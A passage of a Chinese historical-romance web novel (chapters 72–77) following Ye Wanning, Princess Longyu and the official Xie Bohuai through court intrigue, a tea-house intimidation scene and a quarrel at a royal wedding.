看她这样,叶婉宁不由好笑,有必要怕成这样吗? 不过仔细想想,谢泊淮的名声确实不好,能止小儿夜啼那种。 “郡主的马车停在宫门口,下官想问问,您有什么事?”谢泊淮问。 “不是我有事,是婉宁姐姐担心姑母,想在宫门口等姑母出来。”羲和郡主能看到木窗外有个人影,“我没什么事,你快去忙你的。” 谢泊淮看向木窗,“郡主代表了端王爷,行事还是谨慎一些好,免得被人说成与隆玉公主一党。” “好的好的,我知道了,我不会下马车的。”羲和郡主心想谢泊淮今天话真多,啰哩巴嗦地一大堆,平日里也不见他关心端王府的事。 叶婉宁却觉得,谢泊淮好像话里有话,看似提醒羲和郡主,实际在提醒她。 可她与隆玉公主已经绑在一起,不可能改变的了。 在叶婉宁皱眉思索时,谢泊淮已经走了。 羲和郡主长长地吐了一口气,“谢泊淮今天脑子是不是坏了?” 她刚说完,听有人敲了敲木窗,羲和郡主以为是谢泊淮回来了,紧紧抱住叶婉宁。 结果来的是青山,“我家大人说了,马车里肯定憋闷,不如去附近的茶楼,留两个小厮在这里等着就行。” “知道了!”羲和郡主没好气地接了句,偷偷看了眼木窗外,确认没人后才拍着胸膛叹气,“完蛋了,如果刚刚的小厮和谢泊淮说,我岂不是得罪了谢泊淮?婉宁姐姐你知不知道,京城最不能得罪的就是谢泊淮?” “我知道的。”叶婉宁道,“但他不至于那么小心眼吧?” “不,他在京城里的风评超级可怕,我真的要完蛋了。呜呜,早知道我今天不出来了。”说着,羲和郡主又来了劲,“不行,既然已经得罪了他,我要去逛酒楼,先逍遥一会儿!” 叶婉宁说她没心情,让羲和郡主自己去。 “我的好姐姐,你就陪我去嘛,我都那么可怜了,你陪陪我?”羲和郡主整个人都贴上叶婉宁,云芝看得惊奇,羲和郡主是她见过最没架子的郡主了。 叶婉宁还是坚持在这里等,“不如这样,让人去买你想吃的来,咱们在这里等着也是一样。” “行吧,那我让小厮去买。”羲和郡主叫来随从,连着说了三家酒楼的名字,“快去快回,肘子得趁热吃,千万别冷了。还有街尾的馄饨,我要加些醋!” 几个小厮分头出发,去给羲和郡主买吃的。 当然了,羲和郡主也买了叶婉宁主仆的那份,她无聊地看着远处的宫门口,期待姑母能早点出来。 结果没等到姑母,先等到她兄长。 看到哥哥过来那一刻,羲和郡主心虚地放下木窗,但已经太迟了,她哥哥已经朝她们走了过来。 第72章 实在笨 听妹妹说是陪叶婉宁来的,李茂才松一口气,“既然母妃让你陪着叶姑娘,你好生陪着,不要乱跑,免得再生事端。” “我知道的。”羲和觉得哥哥真啰嗦,和谢泊淮一样,话忒多。 “你要记心里去,每次你都是好了伤疤忘了疼,若是你不听劝,回去后母妃还是要让你禁足。”说着,李茂清了清嗓子,尽管马车里的人看不见,他还是很郑重地看过去,“叶姑娘,羲和活泼任性,还请你拘束着她,有劳你了。” “好的。”叶婉宁轻声答应。 马车里传来的声音很柔,简简单单两个字,让李茂有种熟悉感,却记不起来哪里听过。 “多谢叶姑娘。”李茂离开后,倒是让人送来吃食,还有一些小玩意。 羲和郡主看着哥哥送来的东西,哼哼道,“你现在知道我哥哥多烦人了吧?他啊,啰嗦得很,我又不是三岁小姑娘,哪里不懂事了?” “世子也是为了你好。”叶婉宁笑着说了句,“我大哥哥也是这般有责任感,我倒是挺喜欢我大哥哥的。” 羲和郡主见叶婉宁和她意见不同,不愿多说,拿起糕点吃了起来。 她们一直等到傍晚,晚霞满天绯红,一排麻雀匆匆飞过头顶,叶婉宁紧张地望着宫门口的方向。 羲和郡主睡了一回,揉着眼睛凑过来,“姑母还没出来吗?” 叶婉宁说没有。 “那我们去酒楼吧?”说到玩的,羲和郡主立马来了精神,“我知道一家酒楼,不仅酒好喝,还有姑娘跳舞。里面的姑娘腰可细了,一个个还特别香,我看了都忍不住亲近一下。” 叶婉宁好奇,“郡主,都是谁带你去这些地方的啊?” 她一直想知道,如果是羲和郡主自个儿去,端王妃应该早就关着她了。 说到这个,羲和郡主有些不好意思地扭捏起来,“哎呀,你别管这些,就说去不去?” “不去了。” “你好无趣啊,天都快黑了,指不定皇爷爷留下姑母。”羲和郡主伸个懒腰,奈何马车里空间有限,她不舒服地跳下马车,刚深吸一口气,就看到了隆玉公主的马车。 叶婉宁同样看到了,她飞奔下马车,等对方停下后,匆匆上前。 隆玉公主从马车上缓缓下来,她站在夕阳的余晖中,看到了叶婉宁眼中的关切与泪水,隆玉公主沉寂已久的心动了动,她感受到了关心。 “听说你等了大半日,傻姑娘,本宫敢做这种事,就有底气。”隆玉公主抱住叶婉宁,“父皇要给乌苏一个交代,但本宫又是乌苏王的长辈,不过是罚跪了一会,回去闭门思过而已。” “我担心您。”叶婉宁道。 羲和郡主在一旁点头,“是啊姑母,婉宁姐姐一直看着宫门口,我母妃都说了您不会有事,她还是来等着您。今天我可是陪着婉宁姐姐一起,您可不可以让我去公主府,我可想您了,让我陪您住几天?” 她刚说完,李茂的小厮突然出现,“参见公主殿下,我们世子说了,郡主还要回家抄书,不好叨扰殿下,还是让奴才带郡主回去。” “我不要!”羲和郡主拉住叶婉宁的手,“婉宁姐姐,我们才见面,你不会舍得和我分开吧?” 叶婉宁苦笑着去看义母,还是隆玉公主发话,“就让郡主去陪陪婉宁,抄书这种东西不必着急。郡主身份尊贵,以后只有别人让着她的,看那么多《女则》白白浪费了她的投胎。” 小厮无奈,只能这么去回话。 羲和郡主兴奋得快跳起来,“还是姑母您最好了,我一定不给您捣乱!” 一行人上了同一辆马车,往公主府去。 不远处的阁楼里,青山见隆玉公主的马车走远,小声道,“小的看叶姑娘和隆玉公主的关系,是越来越好了。” 谢泊淮没搭理他,但青山胜在不会看人脸色,继续自说自话,“您说叶姑娘怎么看不出来隆玉公主的心思呢?大人,咱们是不是该提醒一下?” 司砚重重地拍下青山的头,“你怎么话那么多?就该把你舌头割了,实在吵闹。” “大人,司砚打我!”青山委屈告状,“小的也没说错什么啊,您说是不是?” 看青山一副转不过来的样子,司砚无奈叹气。 青山哪里知道,其实叶姑娘跟着隆玉公主也是有好处的。叶姑娘长在落魄世家,处处要守着世家的规矩,同时又很难维持世家的体面,日子艰难得费心费力。 但是跟在隆玉公主身边不一样,隆玉公主这个人随性洒脱,还有皇上的宠爱,想做什么就做什么。跟在隆玉公主身边,人也会渐渐有底气,说话办事更自在。 而且隆玉公主有足够的手腕,能护着叶姑娘。 不然主子早就动手了。 “青山,当初我是怎么挑的你?”谢泊淮抬头去看。 “肯定是小的武艺好,人又忠心,哪哪都是好的!”夸起自己来,青山很是满意,他一直觉得主子很有眼光,才会挑他在身边伺候。 而谢泊淮看青山如此,便知道自己为什么会挑青山了。 忠心是真的。 但也够笨,这一点很难得。 谢泊淮喝完最后一口茶,准备离开时,门外来了人。 来的是谢泊远,他进了屋子里,看谢泊淮淡定喝茶,唇角慢慢扬起,“三弟好闲情。” “有事就说。”谢泊淮不客气道。 “明日是你侄女大婚的日子,你会去吧?”谢泊远问。 “看来你很闲。”谢泊淮冷笑,“看来谢允恩的事,还是太简单了,不够你麻烦。” 说到嫡长子,谢泊远眼中闪过一抹戾气,他苦心培养的嫡长子却是个沉迷女色的纨绔,难怪父亲更看重谢泊淮。 但那又怎样,他并不止一个儿子,谢泊淮和谢家更不是一条心。 “我只是通知你一声,免得你忘了令娴的好日子。”谢泊远皮笑肉不笑,“连令娴都要成亲了,你这个做叔叔的得抓紧点,别再流恋一些小绾馆,咱们谢家还是要脸的。” “砰!” 谢泊淮摔了手中的茶盏,砸在谢泊远身上,茶水溅湿了谢泊远的衣裳。 “谢泊淮,你别太过分!”谢泊远忍不了了。 “我就过分了,你想如何?”谢泊淮起身往外走,“你的那一亩三分地,我虽然看不上,但你不识趣的话,我让你和谢允恩一样,永远地成为全京城的笑话!” 谢泊淮出了雅间,迎面碰上孙浩。 还真是巧了。 连着碰到两个看不顺眼的人。 孙浩看到是谢泊淮,两条腿不受控制地开始发抖。 第73章 吓尿了 孙浩是来见谢泊远的,没想到会在这里遇到谢泊淮,从谢泊淮被他审问过后,他一直提心吊胆,就怕谢泊淮什么时候找他算账。 过去这段日子,平静得不真实。 现在看谢泊淮眯起眼睛,孙浩下意识地想跑。 “孙大人,好久不见。”谢泊淮刚开口,孙浩就腿软摔倒。 谢泊远从屋内出来,看到孙浩这么没用,眼中闪过一抹嫌弃,过来道,“之前就听说,三弟你和孙大人有些误会,既然今天那么巧,不如坐下来一块喝点茶?” 他只是客气客气,故意恶心下谢泊淮,因为谢泊淮肯定不会答应。 结果谢泊淮点头说了好,“我确实很想孙大人,那就一块儿坐坐。孙大人近来气色不错,看来睡得不错?” “没有没有。”孙浩用力摇头,腰躬着,一个劲地去看谢泊远,心中怪谢泊远多嘴,好端端地邀请谢泊淮干什么? “没有就快点进来,我正打算听听你们说什么。”谢泊淮加重语气,他先回去。 孙浩经过谢泊远身边时,本想小声问怎么回事,青山不识趣地道,“孙大人,有什么话进去一起说,我家大人也想听的,您不用偷偷摸摸,不然别人会误会您和大老爷有什么见不得人的勾当。” “你说什么呢?”谢泊远瞪了眼过去,青山却一点不在怕的。 上回在天牢里,青山和司砚被打得那叫一个厉害,长那么大,受过最大的刑罚就是那一次。 现在看孙浩瑟瑟发抖,青山是故意恶心人。 “大老爷,小的嘴笨不会说话,就是让你们快点进去,免得那么多人看着。”青山特意叫来店小二,“上两壶好茶来,记谢家大老爷的账上。” 谢泊远狠狠地看着青山,事已至此,他也怪自己多嘴,却只能跟着进雅间。 看着两个人坐下,谢泊淮道,“说吧,你们要说什么随意说,就当我不存在。” 谢泊远:……怎么可能当他不存在? 孙浩余光一直在看谢泊远,是谢泊远约的他,却来了谢泊淮一起,他不懂谢泊远脑子怎么想的,竟然把谢泊淮带着一起。 “三弟多心了,我们不过是约着喝茶,没什么事。”谢泊远讪讪道。 “我倒是没想到,这里的茶那么好,能让你们约在这里。”谢泊淮道,“不是说贤王或者太子的事就好,不然啊,我这人敏感得很,还不讲情面,干得出大义灭亲的事。” 谢泊远知道谢泊淮什么意思,刚才在谢泊淮面前的气焰,现在全没了,焦急地去看孙浩,希望孙浩想办法离开。 但谢泊远高估了孙浩,从见到谢泊淮起,孙浩的脑袋就成了摆件,一点都转不起来。 三个人安静了一会儿,谢泊淮还在泡茶、喝茶,过了两刻钟左右,谢泊远实在憋不住,“茶喝得差不多了,不如我先回去,改日再继续喝茶。” “不着急,这才泡了两种茶,还有呢。”谢泊淮抬手示意谢泊远坐下,“我在天牢时就想,到底是谁有那么大的本事,能使唤孙大人这样的人物。后来我仔细想了想,你们猜,我想到了什么?” 孙浩紧张得心快跳出来,谢泊远皱眉问,“什么?” 谢泊淮抿唇笑了下,“不说这个了,大家是来喝茶的,又不是谈公务,没必要把气氛弄得那么紧张。” 他开了头,却不肯继续说下去,孙浩如同热锅上的蚂蚁,焦虑到快崩溃。 “三弟是玩笑话吧,孙大人不过是按规矩办事,也是身不由己。”谢泊远还淡定一点。 “那就要问问孙大人,怎么身不由己了?”谢泊淮越笑,孙浩越怕,看谢泊淮递过来茶杯,孙浩以为谢泊淮要动手,下意识往后躲闪,摔在了地上。 茶桌被孙浩撞到,茶壶打落在地上,滚烫的水和零星的炭火落在孙浩的身上、手上,疼得他大叫起来。 看孙浩那么失态,谢泊远赶紧去拉人,“你在干什么,谢泊淮只是给你递茶!” “我……我还有事,我要先走了!”孙浩踉踉跄跄爬起来,他只想快点离开,却被青山拦了下来。 没有主子点头,青山可不会轻易让孙浩离开。 “让……让开!”连这两个字,孙浩都说得磕磕绊绊,没有底气。 青山才不怕,他只听主子的话。 谢泊淮笑了一声,孙浩鸡皮疙瘩都起来了,他回头去看谢泊淮,“你到底要怎么样啊?” “孙大人,你多心了,我什么都没做,就像我大哥说的一样,我只是给你递茶杯。是你心虚了吧,孙大人?”谢泊淮起身朝孙浩走过去,他快靠近孙浩时,孙浩直接吓尿了。 地上湿了一块,很是明显。 谢泊淮给青山使了个眼色,青山才让开,谢泊淮故意推开门,让经过的人看看孙浩出丑的样子,“孙大人,你啊,真是把我想太可怕了。我做人做事,都是有缘由的,你是听命行事,我能理解。” 门口走廊来来去去的人,纷纷停了下来。 他们都看到孙浩裤子湿了,堂堂京兆尹大人,却在茶楼尿裤子,而且看样子,谢泊淮也没拔剑,怎么那么胆小? 有人低声说了句,“孙大人这是怎么了?为何这么怕?” “谁知道呢,怕是做了亏心事。” 这两句话飘进孙浩耳里,他浑身红透了,哪里还待得下去,狼狈地跑了,结果下楼梯太快,咕噜地滚下去。 谢泊淮站在楼梯上,淡淡地笑了下,收回目光时,所有人立马散开。 等谢泊淮再走到雅间门口,里面的谢泊远面色铁青,带着小厮头也不回地离开。 第74章 颓势 青山大笑爽快,连司砚都满意地点点头,“孙大人胆子也太小了一点,这么点事就吓到,当初怎么敢把我们三抓进天牢的?” “他不是说了,听命行事。”青山满面笑容地出了茶楼,“今儿真不错,以后见他一次,吓一次,可能不用大人出手,他先把自己吓死了。” 司砚说确实有可能,一行人到了没什么人的地方,他才道,“隆玉公主杀了乌苏使臣,怕是要起战事了,不知皇上会派哪位皇子带兵出征?” “怎么会是皇子,应该是将军吧?”青山道。 司砚推开青山,他和青山说不了这种事,“皇上一直在平衡太子和几位皇子之间的权势,纵使是太子,也没有太突出的功绩。如果谁能拿下乌苏,便是大功一件。” 皇上年岁大了,这种建功立业的机会还能有几次? 怕是只有这一次。 只要有点心思的,都会抢着带兵去乌苏,毕竟乌苏败的可能更大。 谢泊淮进了镇府司大门,“皇上派谁去,那都是皇上的意思,咱们听候差遣就行。” 此时的东宫里,太子正在和亲信说到出兵乌苏的事,“孤被立为太子多年,上有端王,下有得宠惠王,其余几个兄弟都不是老实的。奈何孤功绩平平,和几个兄弟比起来,并没有太出色。” 谁都知道,这是皇上的一个手段。 就算皇上再宠爱惠王,于朝政上,皇上都没有太偏向他。 可以说,皇上是个很聪明的人,即使到了这个年纪,依旧脑子清醒,还没糊涂。 太子想要这份功绩,“大家先回去吧,这件事不宜太过主动,咱们静观其变。” 等亲信们退下,有内侍来传话,说孙浩今日在茶楼被谢泊淮吓尿了。 “真是个废物!”太子重重地放下手中的茶盏,“当时让他扒出谢泊淮的把柄,他是一点都没扒出来,现在见到谢泊淮,吓成这样,以后还怎么办事?” 内侍也觉得孙浩太胆小了,这些年主子坐在太子的位置上,一直不能安心,因为手中的权力太少,时常还不如一个谢泊淮。皇上有谢泊淮这么个得力住手,这几年把主子和几位王爷压得死死的,一点浪都翻不起来。 “孙大人确实不成事。”内侍道,“若是谢泊淮真查到什么,早就对东宫出手。今日谢泊淮不过是吓唬一下,说明谢泊淮心里也没方向。” “这么简单的道理,你能想到,孙浩却想不到,孙浩是不能再用了。断了和孙浩所有的联系,免得谢泊淮查到东宫。”太子深吸一口气,“派人去给谢泊远送个口信,让他快点抓到谢泊淮把柄,孤不想再看到谢泊淮。” 内侍带着太子的话退了出去,宁安郡主正好进来。 “是你啊,孤还以为是你兄长。”看到女儿,太子有些欣慰,又忍不住感叹,他为自己谋划那么多,奈何儿子是个撑不起事的。 宁安郡主立马听懂父亲的意思,袖中的手微微攥紧,她事事努力,但因为是女儿身,处处受到掣肘,“哥哥正在太学读书,这会还没回来。父亲可是为了乌苏的事烦恼?” “还是你聪明。” “我们养精蓄锐多年,乌苏却新王刚上位,正是朝堂不稳的时候。父亲有心争这个功绩,也不要做出头鸟,总有人会先去试探皇爷爷。”宁安郡主的话说到太子的心坎上。 “你说的孤都知道,真是可惜了,你若是个男儿身,孤何必如此艰难?”太子长叹一声,随后看向女儿,“想来你母妃和你说过白家的事了吧?” 提到白家,宁安郡主的神色才有些不自然,“嗯。” “白术在手握重权,是大家都想拉拢的人,若是你能嫁到白家,白家就不得不站在我们这边了。”太子一直在拉拢朝臣,白术是他最大的目标。 宁安郡主却道,“可是有皇爷爷在,怕是不会让女儿嫁到白家。” 太子和右相都位高的人,让他们强强联姻,以皇上的多疑,估计不会同意。上回选妃,皇上直接给了白家恩典,白家姑娘不用选妃,就能说明皇上的态度。 所以白术明面上,并没有和任何一位王爷走太近,能走到今天的人,不至于看不清这个点。 “孤有孤的把握,你向来不用孤多操心,知道有这么个事,准备着就好。”太子累了,摆摆手示意宁安郡主出去。 宁安郡主走出大殿才敢喘气,她不想嫁到白家,但是父亲看不清,白家在和谢泊淮对上输了后,就显露出颓势了。 她这辈子,被说过太多次可惜是女儿身,越是这样,她越不信命,非要为自己拼一次。 “彩月,我给哥哥准备的话本,都送过去了吗?” “回郡主,都是按着皇太孙喜欢的挑过去,皇太孙都很喜欢。今日皇太孙应该出门玩了,并不是去太学。”彩月道。 “帮哥哥打好掩护,也让人看好哥哥的安全,绝对不能让哥哥有任何意外。”宁安郡主深吸一口气,看着天快黑了,又道,“派人去姑母那说一声,就说我明日去看姑母。” “郡主为何要与隆玉公主走那么近?”彩月不太理解,隆玉公主刚羞辱过右相,这会去接近隆玉公主,主子与白家的婚事还能成吗? 宁安郡主没说话,只让彩月听她的吩咐。 等隆玉公主收到消息,淡淡地说了句有趣,“太子这人生了个好女儿,真是不错。” 江嬷嬷也夸道,“宁安郡主并不输给任何一位皇孙,真要比起来,让她当皇太孙都可以。” “那就要看她自己的本事了,本朝还没出过女帝,她要真有这个本事,本宫乐意看这个热闹。”隆玉公主在宫里折腾了一天,没什么精神,听说羲和郡主还在叶婉宁屋里,打了个哈切,“由着她们玩吧,别去拘束她们,做姑娘的,等出嫁后可没这种好日子。到时候伺候夫君,孝顺公婆,还要打理家务,说到这些本宫就烦,让她们多自在一会儿。” 第75章 婚宴 羲和郡主洗漱过后,来叶婉宁屋里,自己爬上了床,“婉宁姐姐,你真香啊。” 她整个人挨过去,搂着叶婉宁哼哼唧唧,“以前都是我一个人睡,有姐姐妹妹真好,我以后都要和你一起睡。” “郡主,你这样,我睡不着。”叶婉宁道。 “那就聊聊天,这会没有其他人,咱们说点私房话。”羲和郡主笑嘻嘻地坐起来,压着嗓子叫了逢春几个人的名字,确认没人能听到,才去看叶婉宁,“我知道你和状元郎的事,不过那都是过去的事,咱们得往前看。你现在成了姑母的义女,地位水涨船高,就不想找个符合心意的夫君吗?” 在羲和郡主看来,叶婉宁容貌出色,应该是大部分男子都会喜欢的。以前家世低了一点,现在有了姑母撑腰,满京城的男子可以随便挑。 “没有的。”叶婉宁侧了个身子,她应该想到羲和郡主那么活泼多话,不能答应她一起睡的,“郡主呢,郡主喜欢什么样的人?” “我喜欢仗剑走天涯的侠士,或者意气风发的将军也可以,反正不要我哥哥那种迂腐刻板的木头人,更不能是凶神恶煞的谢泊淮。”羲和郡主对未来夫君,有着美好的幻想,“乌苏使臣提和亲的时候,我都没在怕的,因为我知道我父王母妃不会答应,但你没看到,宁安她脸瞬间白了,太子妃对她不上心,眼里只有皇太孙,她是真的怕被送去和亲。比起她来,我父王母妃好太多。” 叶婉宁没接触过太子,但她知道太子会被废,上辈子谢泊淮死后没多久,太子就被废了。至于原因,并没有传出来,只说太子德不配位。 后面的事,叶婉宁就不知道了,因为她被关起来了。 “不管是谁,都有身不由己的事。”叶婉宁叹了口气,“郡主你确实很好,今日我看到端王妃,她对你是真的疼爱。” “姑母也对你很好啊,你看姑母一点都不拘束你,还说你想做什么都可以。我觉得我们都不错,以后一定会有很好的结果。”羲和郡主开始絮絮叨叨说着自己的事。 叶婉宁则是在想羲和郡主上辈子嫁给了谁,是谁呢? 她想着想着睡着了,并没有想到具体的人。 京城说不大也大,那么多人,那么多事,并不是什么事都能知道。 叶婉宁一觉睡到天亮,醒来时边上多了个软乎乎的人,她蹑手蹑脚地起来。 “姑娘,热水已经准备好了,不用叫羲和郡主吗?”逢春进来伺候,云芝替叶婉宁梳头。 叶婉宁说不用,“郡主在家中都是自然醒,端王妃对她很宠爱,由着郡主吧。我们先去给义母请安。” 隆玉公主听说羲和郡主还没起来,并没多说什么,只提到了谢家和七皇子的婚事,“本来是不想去的,但是昨日刚在宫里被骂了一顿,如果本宫不去,怕那些人传本宫被罚得不敢出去见人。好歹是本宫的弟弟,本宫就去看一看,你若是不想去就不去,不用勉强自己。” “其实我不知道该不该去。”叶婉宁道。 “你又忘了,这世上,没那么多该不该的事,更多的应该问你自己想不想。”隆玉公主笑着摇头,“七皇子和你没什么关系,不想去也没事。若是去了,必定要见到诸多的人,应付起来确实麻烦。特别是白家的人,朱氏可不是个心眼大的,她不敢对我如何,但是对你不一定。” 叶婉宁想了想,“那就不去吧。” 结果等羲和郡主知道后,非要拉着叶婉宁一起去,“那么大的热闹,干嘛不去啊,你和我一起去,咱们俩待在一起,谁也不用怕。朱氏敢欺负你,我亲自替你教训她!” 在羲和郡主的苦苦哀求下,叶婉宁还是答应去了。 七皇子大婚,娶的又是谢家长房嫡女,那叫一个热闹。 羲和郡主刚到王府,便带着叶婉宁去找她母妃。 叶婉宁知道他们母女有话要说,便没有跟太紧,而是隔着水榭和云芝看鱼。 “姑娘,王府里的锦鲤生得好肥。”云芝看着锦鲤,心里喜欢,“别人说养锦鲤会带来好运,不如我们也养几条?” “公主府的园子里不是有?”叶婉宁道。 “那不一样,咱们在自己屋里养,好运才会来得快一点。”云芝拿了些鱼食递给主子。 叶婉宁一把全洒了,擦手时看到余光来了人,抬头看到了羲和郡主的哥哥李茂。 李茂看了有一会儿,自从上次分开,他一直想到眼前的姑娘,奈何不知道姓名,又不好贸然打听。今日瞧见了,看来对方是官宦人家的姑娘。 上回看叶婉宁衣裳质朴,以为只是个普通百姓。现在见到人,李茂藏不住喜悦,却还是恭恭敬敬地问好,“原来是姑娘,我们又见面了。” 叶婉宁没想到李茂还记得她,看李茂的样子,应该不知道她身份,这样也好,免得有麻烦。她行礼喊了句世子,带着云芝往后退。 “姑娘等等,你也是来参加婚宴的吧?”李茂刚迈出一只脚,又怕唐突了对方,赶忙收了回来,“这边再进去,便是王公贵族休息的地方,姑娘可是迷了路?” 如果是皇家的人,李茂肯定知道,很明显,眼前的姑娘不是。 “不是的,我只是随便逛逛。不打扰世子雅兴,我先去找我家人了。”叶婉宁匆匆离开。 李茂还没问出那句“姑娘是哪家的”,便看不到叶婉宁身影了,奈何四周没有人,叫来丫鬟询问,丫鬟也说不出来是谁。 在李茂懊恼时,瞧见他妹妹和母妃过来,忙过去行礼。 “羲和今日也来了?”李茂得知妹妹又出门,还住在隆玉公主府,他觉得母妃太宠妹妹了,“今日参加完婚宴,你与母妃一块回去吧,该抄的书还是要抄,你也大了。” “哥哥,你好讨厌!”羲和郡主不想搭理她哥哥了,转头去找叶婉宁,却没有看到人。 此时的叶婉宁,本来是想避开李茂,结果遇到了僻静处的谢泊淮。 第76章 落水 王府其实挺大的,叶婉宁没想到会遇见谢泊淮。 看到谢泊淮,她总会想到那日衣裳尽褪,呼吸交换呼吸时的画面,尴尬得不敢多去看他。 谢泊淮能感受到叶婉宁的特意躲避,“叶姑娘和隆玉公主,感情颇好。” 所以呢? 他要说什么? 叶婉宁想了想,没等到谢泊淮再开口,只好道,“谁对我好,我便对谁好。殿下是个洒脱的人,她教会我许多事。” “公主确实洒脱,不过有些时候,做人得有自己辨认是非的能力。” 叶婉宁不喜欢听这话,以前谢泊淮就说她有眼无珠,现在是说她不辨黑白? 她想要告辞,又突然想到乌苏使臣的事,“义母说很可能要与乌苏开战,谢大人会去吗?” “我是镇府司指挥使,又不是将军,姑娘怎么会这样问?”不管怎么样,谢泊淮都没想过,会是他带兵去乌苏。 是啊,谢泊淮是镇府司的人,他是皇上的眼睛和耳朵,让他带兵去乌苏,皇上怎么会同意? 那上辈子怎么会是谢泊淮去? 叶婉宁想不明白,对上谢泊淮探究的目光后,随便一答,“我就是随口一问,朝堂的事我不清楚,谢大人注意安全。” “叶姑娘还是多为自己考虑一下,我可没什么好担心的,毕竟我得罪的人太多,到处都是想杀我的人。”谢泊淮两手负背,眼尾上扬,凌厉的眉眼多了几分玩笑,看着让人不觉得那么害怕了。 这时羲和郡主找了来,尽管羲和郡主很怕谢泊淮,还是过来挽住叶婉宁,“谢大人,你拦着婉宁姐姐做什么?” 谢泊淮只是看了羲和郡主一眼,便转身走了,没有过多解释。 “婉宁姐姐,谢泊淮没欺负你吧?”羲和郡主答应过的,要寸步不离地守着叶婉宁。 叶婉宁摇头说没有,“就是见到他说了两句话,他与我二哥哥关系还好,顺带着会叮嘱我几句话。咱们入席吧,方才我好像看到宁安郡主了。” “我们找她去。”提到宁安郡主,羲和郡主忍不住去找人。 宁安郡主站在人群中,谈笑宴宴,特别地大方得体,羲和郡主却不管别人看不看,拉着宁安郡主往外走。 “那些人多讨厌,就你爱端着笑脸,多累啊。”羲和郡主喜欢看热闹,却不想应付那些人,“我知道你心里也不喜欢的,所以不用客气。” 宁安郡主笑着摇头,“你怎么知道我不喜欢?” “这还用说,从小到大,每次你越认真的时候,说明你越不想做这个事,但是又不得不做。咱们虽然不是一个爹生的,好歹是堂姐妹,我呢,也不是很喜欢你,但谁让我母妃总说你不容易,让我照顾你呢。”羲和郡主拿了一个橘子,剥开丢进嘴里。 “你倒是会说话,谁照顾谁啊?”宁安郡主也拿了个橘子,但她没有自个儿剥,而是等丫鬟剥好后,慢条斯理地吃起来。 他们在这里说话,逢春几个在前面守着,一般人不能靠近。 叶婉宁得了个清静,倒是自在。 过了会,新娘子来了,宁安郡主坐不住,说躲着看热闹不符合规矩。 羲和郡主也想看拜天地,她拉着叶婉宁往人群里走,这人多了,就有注意不到的时候。不知后面谁挤了一下,叶婉宁往岸边摔了下去,好在云芝拽了她一下,只是云芝掉进了水里。 云芝不会凫水,叶婉宁焦急地喊人救云芝。 “我来!” 羲和郡主想都没想,跳进了水中,她从小贪玩,很小就学了凫水。 旁人看到羲和郡主跳入水中,个个都慌张起来,宁安郡主过来问怎么回事。 叶婉宁顾不上回答,到岸边拉着羲和郡主和云芝起来。 “别担心,云芝没事。”羲和郡主头发散了,看叶婉宁脸都白了,对着过来的管事婆子凶道,“我皇叔娶亲那么大的喜事,要是闹出点什么来,你们负得起责任吗?” 管事的自然担不起责任,连忙道歉,要带羲和郡主去换衣裳。 云芝被吓坏了,在叶婉宁怀里瑟瑟发抖,“姑……姑娘,有人推的奴婢。” 叶婉宁也看到了,瞧见朱氏带着人过来,叶婉宁搂着云芝站起来。 “实在是对不住,人来人往的,翠珠又是个笨手笨脚的,不小心碰到了你家丫鬟。”朱氏敷衍地说了句,“翠珠,还不快点给叶姑娘道歉。” 翠珠说着上前,只是没等翠珠说话,叶婉宁甩了一耳光过去。 “啪!” 所有人都懵了。 打翠珠,便是打朱氏的脸。 叶婉宁知道,如果不是方才自己看到什么人推的云芝,朱氏绝对不会过来道歉。朱氏一定想着,不过是个丫鬟,她肯定忍下这口气。 但今天,她不忍了。 一旁的羲和郡主也惊呆了,她以为叶婉宁会忍下来,毕竟叶婉宁向来大方得体,什么事都会面面俱到。可叶婉宁这一耳光,狠狠地打了朱氏的脸面,也会被人说刻薄。 “道歉就不必了,我看白夫人也无所谓,我替你教训一下就好了。”叶婉宁冷冷地看着朱氏,“我的丫鬟掉入水里差点没了命,只是打一巴掌,白夫人不会生气吧?” 朱氏能说会吗? 自然不能。 尽管脸被狠狠打了,朱氏还得做出大度的样子,“是,你教训得对,是我没管教好下人。” “既然白夫人不计较,我先带云芝去换衣裳了。”说完,叶婉宁也不等朱氏做出回答,带着云芝和羲和郡主离开。 朱氏贵为右相夫人,还没被人这样羞辱过,她心里憋着一口气,却要保持得体笑容,“大家别看了,这里没什么大事,快去蹭蹭新人的喜气。” 她让人散了,其他人不敢多看,只是离开后,纷纷表示精彩,同时感叹叶婉宁有人撑腰就是不一样,连朱氏的丫鬟都敢打。 众人有了讨论的事,这会儿比看新人还有意思,又聊起白家几个孩子还在隆玉公主府的事。 “我看啊,是白夫人对隆玉公主此举不满,不敢刁难隆玉公主,才发泄到叶婉宁身上。” “我也觉得是这样,朱氏欺软怕硬,以为叶婉宁会忍着,没想到叶婉宁那么大胆。” “真是有趣啊,谁能想到,叶婉宁敢打白夫人丫鬟的耳光呢!” …… 人多了,总有只言片语传到朱氏耳里,奈何她又不能离开,这会走,显得她肚量小,坐实那些流言。 此时的叶婉宁几个,到了王府休息的客房。 羲和郡主一边换衣裳,一边给叶婉宁竖起大拇指,“你方才可真酷,我是真没想到,你能打翠珠一耳光实在是爽快!” 第77章 葵水没来 “朱氏摆明了要拿我出气,我忍下去,义母都会怪我不争气。”以前的叶婉宁肯定不会动手,大家闺秀不会做这种伤人面子的事,但叶婉宁现在看开了很多,不必顾忌那么多,今天她不打回来,以后更不可能讨回来。 “确实,你这样就好,什么不用忍,反正有义母撑腰,公主还是比一品官员的夫人地位高,没什么好怕。”羲和郡主大大咧咧,直到端王妃赶来,她才有些怕,“完了完了,我母妃一定要骂我。” 叶婉宁被推出去,看到端王妃后立马赔罪,“今日是我的过失,郡主救了云芝,还请王妃别怪郡主。” “她有心救人是好事,但行事冲动,也该教训。你放心,我不会怪罪你,我不是不讲道理的人。”端王妃拍拍叶婉宁的手,进到屏风后,提起女儿的耳朵,“你是胆子真大,王府那么多下人伺候,你跳下去万一碰上什么男子,名节还要不要?” “我错了母妃,真的错了,您快松手!”羲和郡主喊疼。 叶婉宁带着云芝到另一边,大夫来看了后,说没什么事,叶婉宁才松一口气。 出了这种事,叶婉宁提前回去。 朱氏派了人准备补品,叶婉宁让人送回白家,“就说我不用这些东西,公主府多的是补品。” “姑娘,会不会太不给面子了?”云芝从没见主子办事得罪过人。 “我已经打了她的脸面,再怎么样给面子,都不可能挽回,还不如像义母说的一样,活个痛快。”叶婉宁不想顾忌那么多了,她先回了公主府,正好遇到来等她的姜姒。 “二嫂嫂怎么来了?” “是来和你说说家里的事。”姜姒正在喝茶,“还以为你没那么早回来,想着明儿再来算了。你快坐,有件好事和你说。” “嫂嫂有孕了?”叶婉宁好奇问。 